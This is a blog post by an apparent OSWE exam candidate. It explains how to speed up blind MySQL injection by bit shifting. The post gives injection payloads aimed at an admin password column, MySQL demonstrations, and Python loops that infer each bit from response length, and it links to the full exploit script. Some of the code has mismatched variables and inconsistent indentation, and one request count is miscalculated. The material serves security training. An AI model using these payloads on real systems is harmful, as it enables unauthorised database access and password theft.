Blind MySQL Injection Using Bit Shifting

Reasons?

My AWAE lab just ended today, while I'm having 3 days left to go for the OSWE exam. I've been living under stressful for almost 8 months before the course and during the course as well.

Just a word for OSWE is "amazing", I'd not say much about the course because many ppl out there already sharing about their thoughts in details. The thing I've learnt from AWAE course is MySQL, especially the blind one coz it's more advanced and much harder to extract the data compared to the classic SQLi.

I've been trying to find the fastest way to extract the data from the database in blind SQLi cases. I was wandering around exploit-db paper and finding out an interesting topic that I have not learned yet "Faster Blind MySQL Injection Using Bit Shifting". Read through the paper and I wanted to make a script for this to improve my brute-force mechanism.

Update: I passed the OSWE exam guyss :D

Implementation

Traditional gun

The trivial way to get extract the data is using substring or substr function. For example, we have a simple payload

test' or (ascii(substring((select password from admin),%d,1)))=[CHAR] or 1='

If it's true, the headers['Content-Length'] will be greater than 20 and otherwise.

Usually, what we do is to brute force every each character of the password in this case, and compare the value of ascii(password) to the ASCII decimal.

Type: man ascii

So the python code should be

for i in range(1, 8):
     	injection_string = "test' or (ascii(substring((select password from admin),%d,1)))=[CHAR] or 1='" % (inj,i)
     	for j in range(32, 126): #every possible character in the ASCII printable set
			target = "http://kubertu/index_public.php?q=%s" % (ip, inj_str.replace("[CHAR]", str(j)))
 			r = requests.get(target)
 			content_length = int(r.headers['Content-Length'])
 			if (content_length > 20):
 	    		return j

As we assume that, this password in this example is 8 characters long.

For this method, each element of J will run 8 times at maximum to check whether it's True. Thus, the range from 32 to 126 is 94, then we have 94 * 8 is 725. It will take 725 times of loop at maxnimum to complete the check.

This takes too much time and might exhaust your machine. Moreover, just imagine if the password is set to 30 to 50 characters long, it would take hours to extract all the password characters.

What we are doing is to use the least possible amount of requests and do it as soon as possible we could use binary search but that will quickly take a lot of requests.

First we split the ascii table in half and try if it's on 1 side or the other, that leaves us ~64 possible characters. Next we chop it in half again which will give us 32 possible characters. Then again we get 16 possible characters. After the next split we have 8 possible characters and from this point it's most of the times guessing or splitting it in half again.

Bit Gun

Before the AWE exam, I found out an interesting paper "Faster Blind MySQL Injection Using Bit Shifting". It took me 20 mins to understand the concept and roughly 15 mins for me to write a python exploit code.

The Bit shifting method is freaking amazing and fast like a Ferrari engine.

There are always 8 bits reserved for ASCII characters. An ASCII character can be converted to its decimal value as you have seen before:

mysql> select ascii('a');
+------------+
| ascii('a') |
+------------+
|         97 |
+------------+
1 row in set (0.00 sec)

This will give a nice int which can be used as binary.

a = 01100001

If we would left shift this character 7 locations to the right you would get:

00000000

The first 7 bits are being added by the shift, the last character remains which is 0.

mysql> select ascii('a') >> 7;
+-----------------+
| ascii('a') >> 7 |
+-----------------+
|               0 |
+-----------------+
1 row in set (0.00 sec)


a = 01100001

01100001 >> 7 == 00000000 == 0
01100001 >> 6 == 00000001 == 1
01100001 >> 5 == 00000011 == 3
01100001 >> 4 == 00000110 == 6
01100001 >> 3 == 00001100 == 12
01100001 >> 2 == 00011000 == 24
01100001 >> 1 == 00110000 == 48
01100001 >> 0 == 01100001 == 97

When we did the bitshift of 7 we had 2 possible outcomes - 0 or 1 and we can compare it to 0 and 1 and determine that way if it was 1 or 0.

mysql> select (ascii('a') >> 7)=0;
+---------------------+
| (ascii('a') >> 7)=0 |
+---------------------+
|                   1 |
+---------------------+
1 row in set (0.00 sec)

It tells us that it was true that if you would shift it 7 bits the outcome would be equal to 0. Once again, if we would right shift it 6 bits we have the possible outcome of 1 and 0.

mysql> select (ascii('a') >> 6)=0;
+---------------------+
| (ascii('a') >> 6)=0 |
+---------------------+
|                   0 |
+---------------------+
1 row in set (0.00 sec)

This time it's not true so we know the first 2 bits of our character is "01". If the next shift will result in "010" it would equal to 2; if it would be "011" the outcome would be 3.

mysql> select (ascii('a') >> 5)=2;
+---------------------+
| (ascii('a') >> 5)=2 |
+---------------------+
|                   0 |
+---------------------+
1 row in set (0.00 sec)

t is not true that it is 2 so now we can conclude it is "011". The next possible options are:

0110 = 6

0111 = 7

mysql> select (ascii('a') >> 4)=6;
+---------------------+
| (ascii('a') >> 4)=6 |
+---------------------+
|                   1 |
+---------------------+
1 row in set (0.00 sec)

We got "0110" now and looking at the table above here you can see this actually is true.

Shooting

Let's try this on a string we actually don't know, user() for example.

First we shall right shift with 7 bits, possible results are 1 and 0.

mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
+--------------------------------------+
| (ascii((substr(user(),1,1))) >> 7)=0 |
+--------------------------------------+
|                                    1 |
+--------------------------------------+
1 row in set (0.00 sec)

We now know that the first bit is set to 0. 0??????? The next possible options are 0 and 1 again so we compare it with 0.

mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
+--------------------------------------+
| (ascii((substr(user(),1,1))) >> 6)=0 |
+--------------------------------------+
|                                    0 |
+--------------------------------------+
1 row in set (0.00 sec)

Now we know the second bit is set to 1. 01?????? Possible next options are:

010 = 2

011 = 3

mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
+--------------------------------------+
| (ascii((substr(user(),1,1))) >> 5)=2 |
+--------------------------------------+
|                                    0 |
+--------------------------------------+
1 row in set (0.00 sec)

Third bit is set to 1. 011?????

Next options:

0110 = 6

0111 = 7

mysql> select (ascii((substr(user(),1,1))) >> 4)=6;
+--------------------------------------+
| (ascii((substr(user(),1,1))) >> 4)=6 |
+--------------------------------------+
|                                    0 |
+--------------------------------------+
1 row in set (0.00 sec)

Keep doing the process till it's equal to the last bit we will find out that the binary representation of the user name is 01110010

mysql> select b'01110010';
+-------------+
| b'01110010' |
+-------------+
| r           |
+-------------+

My code

By using this bit shifting method, one character takes 7 requests at maximum to find the character.

for j in range(1,8):#if the username has 7 characters
		for i in reversed(range(8)):#one character has 8-bits
			
		 	injection_string = "test'/**/or/**/(ascii((substring((%s),%s,1)))>>%s)=%s/**/or/**/1='" % (inj,j,i,value)


		 	target = "http://%s/index_public.php?q=%s" %(ip,injection_string)

		 	r = requests.get(target,proxies=proxies)

		 	content_length = int(r.headers['Content-Length'])
		 	if (content_length > 20):	 	    
		 	    bit=bit+str("1")#if it returns true, bit will increase by 1
		 	    value=int(bit,2)#the value is decimal number from the updated bit		 	    
			else:
				  bit=bit[:-1]# if it returns false, bit will remove the latest value which is 1, and append 0, then append 1 for the next iteration
				  bit=bit+str("0")
				  bit=bit+str("1")
				  value=int(bit,2)
		
		
		username = int(bit[:8],2)

Full source code: https://github.com/enderphan94/Blind-MySQL-Injection-Using-Bit-Shifting/blob/master/bit-shifting-sqli.py

Comparison

In conclusion, both methods are able to extract the content of the value of the column. But the speed of each method is vastly different.

If a password has 30 characters long, each method would take the following requests to extract all characters at maximum.

Traditional method: 94*30= 2820 Requests

Bit-shifting method: 30*7= 210 Requests

The bit-shifting method is faster than the traditional one 13,5 times.

Last updated